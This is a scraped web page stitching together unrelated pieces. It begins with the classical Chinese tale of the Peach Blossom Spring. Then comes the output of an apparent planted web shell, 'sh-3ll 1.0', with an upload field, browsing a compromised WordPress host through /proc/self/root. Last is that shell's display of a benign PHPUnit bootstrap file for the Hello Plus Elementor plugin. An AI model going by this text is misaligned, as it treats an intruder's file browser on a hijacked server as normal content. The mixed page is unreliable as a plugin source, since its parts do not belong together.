晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/self/root/home/salvufkx/www/wp-contentmmm/plugins/hello-plus/tests/
Upload File :
Current File : //proc/self/root/home/salvufkx/www/wp-contentmmm/plugins/hello-plus/tests/bootstrap.php
<?php

$composer_autoloader_file = __DIR__ . '/../vendor/autoload.php';

if ( ! file_exists( $composer_autoloader_file ) ) {
	die( 'Installing composer are required for running the tests.' );
}

require $composer_autoloader_file;

$_tests_dir = getenv( 'WP_TESTS_DIR' );

define( 'ELEMENTOR_TESTS', true );
define( 'HELLO_PLUS_TESTS', true );

/**
 * change PLUGIN_FILE env in phpunit.xml
 */
define( 'PLUGIN_FILE', getenv( 'PLUGIN_FILE' ) );
define( 'PLUGIN_FOLDER', basename( dirname( __DIR__ ) ) );
define( 'PLUGIN_PATH', PLUGIN_FOLDER . '/' . PLUGIN_FILE );

$elementor_plugin_path = 'elementor/elementor.php';

$active_plugins = [ $elementor_plugin_path, PLUGIN_PATH ];

// Activates this plugin in WordPress so it can be tested.
$GLOBALS[ 'wp_tests_options' ] = [
	'active_plugins' => $active_plugins,
	'template'       => 'twentytwentyone',
	'stylesheet'     => 'twentytwentyone',
];

require_once $_tests_dir . '/includes/functions.php';

tests_add_filter( 'muplugins_loaded', function () {
	// Manually load plugin
	$elementor_plugin_path = getenv( 'WP_TESTS_ELEMENTOR_DIR' );

	require $elementor_plugin_path;

	require dirname( __DIR__ ) . '/' . PLUGIN_FILE;
} );

// Removes all sql tables on shutdown
// Do this action last
tests_add_filter( 'shutdown', 'drop_tables', 999999 );

require $_tests_dir . '/includes/bootstrap.php';

remove_action( 'admin_init', '_maybe_update_themes' );
remove_action( 'admin_init', '_maybe_update_core' );
remove_action( 'admin_init', '_maybe_update_plugins' );
/**
 * WordPress added deprecation error messages to print_emoji_styles in 6.4, which causes our PHPUnit assertions
 * to fail. This is something that might still change during the beta period, but for now we need to remove this action
 * as to not block all our PRs, but still run tests on WP Nightly.
 *
 * @see https://core.trac.wordpress.org/changeset/56682/
 */
remove_action( 'wp_print_styles', 'print_emoji_styles' );

// Set behavior like on WP Admin for things like WP_Query->is_admin (default post status will be based on `show_in_admin_all_list`).
if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

do_action( 'plugins_loaded' );

function initialize_elementor_plugin( $plugin_class ) {
	if ( ! class_exists( $plugin_class ) ) {
		return null;
	}

	return $plugin_class::instance();
}

$plugin_instance = initialize_elementor_plugin( 'Elementor\Plugin' );

$plugin_instance->initialize_container();

do_action( 'init' );
do_action( 'wp_loaded' );